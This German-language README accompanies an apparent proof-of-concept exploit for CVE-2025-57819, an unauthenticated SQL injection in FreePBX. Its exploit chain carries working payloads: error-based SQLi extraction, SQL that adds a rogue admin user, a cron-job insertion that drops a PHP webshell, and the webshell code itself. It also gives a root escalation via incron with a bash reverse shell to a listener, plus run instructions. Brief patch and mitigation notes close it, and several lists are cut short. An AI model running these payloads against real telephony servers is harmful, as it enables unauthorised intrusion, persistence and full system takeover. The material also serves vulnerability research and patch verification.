
CVE-2025-57819 FreePBX SQLi RCE PoC
Nur für Bildungszwecke & Sicherheitsforschung - Siehe rechtlicher Hinweis unten
Proof of Concept zur Ausnutzung von CVE-2025-57819, einer kritischen, nicht authentifizierten SQL-Injection-Schwachstelle in FreePBX, die Remote-Codeausführung ermöglicht. Dieses PoC wird nach der Veröffentlichung offizieller Patches ausschließlich für Sicherheitsforschung und autorisierte Tests veröffentlicht.
FreePBX-Versionen 15.x, 16.x und 17.x (unterhalb der gepatchten Versionen) sind anfällig für nicht authentifizierte SQL-Injection im AJAX-Handler des Endpoint-Moduls. Diese Verwundbarkeitskette ermöglicht:
| CVE-ID | CVE-2025-57819 |
| Typ | Nicht authentifizierte SQL-Injection (fehlerbasiert) |
| CVSS | 9.8 / 10.0 (Kritisch) |
| Betroffen | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Gepatcht | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Ja (29. August 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
Der Parameter brand im AJAX-Handler des Endpoint-Moduls akzeptiert Benutzereingaben ohne Validierung, was zu fehlerbasierter SQL-Injection führt.
Überprüfen Sie die SQLi mithilfe der fehlerbasierten Extraktion von EXTRACTVALUE(), um den Datenbanknamen zu exfiltrieren:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Fügen Sie einen neuen administrativen Benutzer in asterisk.ampusers ein:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Mit gültigen Admin-Anmeldedaten authentifiziert sich der Exploit bei FreePBX und stellt eine authentifizierte Sitzung her. Sitzungscookies werden gespeichert und für alle nachfolgenden authentifizierten Anfragen verwendet.
Injizieren Sie den Webshell-Befehl in asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Der FreePBX-Cron-Runner führt den Befehl als Benutzer asterisk aus und legt dabei die PHP-Webshell ab.
Die PHP-Webshell wird unter /var/www/html/shell.php abgelegt:
<?php system($_GET['cmd']); ?>
Der Exploit fragt die Webshell ab, bis sie aktiviert ist, und erreicht so RCE als Benutzer asterisk (uid=999).
Wenn incron auf dem Zielsystem konfiguriert ist:
/var/spool/asterisk/incron/ erstellenincrond (läuft als root) erkennt die Dateierstellung/usr/bin/sysadmin_manager mit dem Trigger-Dateinamen aufsysadmin_manager validiert die GPG-Signatur und leitet an den fwconsole-commands-Hook weiter/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Ergebnis: Root-Shell auf dem Reverse-Listener (falls incron verfügbar).
brandasterisk.cron_jobs führt Befehle als asterisk ausgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Version | Status |
|---|---|
| 15.0.0 - 15.0.65 | Anfällig |
| 15.0.66+ | Gepatcht |
| 16.0.0 - 16.0.88 | Anfällig |
| 16.0.89+ | Gepatcht |
| 17.0.0 - 17.0.2 | Anfällig |
| 17.0.3+ | Gepatcht |
Sofort:
/admin/ajax.php aus nicht vertrauenswürdigen Netzwerken einschränkensystemctl disable incrondDauerhaft: Aktualisieren Sie auf gepatchte Versionen: 15.0.66+, 16.0.89+ oder 17.0.3+
⚠️ HAFTUNGSAUSSCHLUSS
Dieses Proof of Concept wird AUSSCHLIESSLICH FÜR AUTORISIERTE SICHERHEITSTESTS UND BILDUNGSZWECKE bereitgestellt. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
SIE MÜSSEN FOLGENDE VORGABEN EINHALTEN:
UNTERSAGTE VERWENDUNGEN:
HAFTUNGSVERZICHT: Der Autor ist nicht verantwortlich für:
Diese Schwachstelle:
JazzTheRabbit
MIT-Lizenz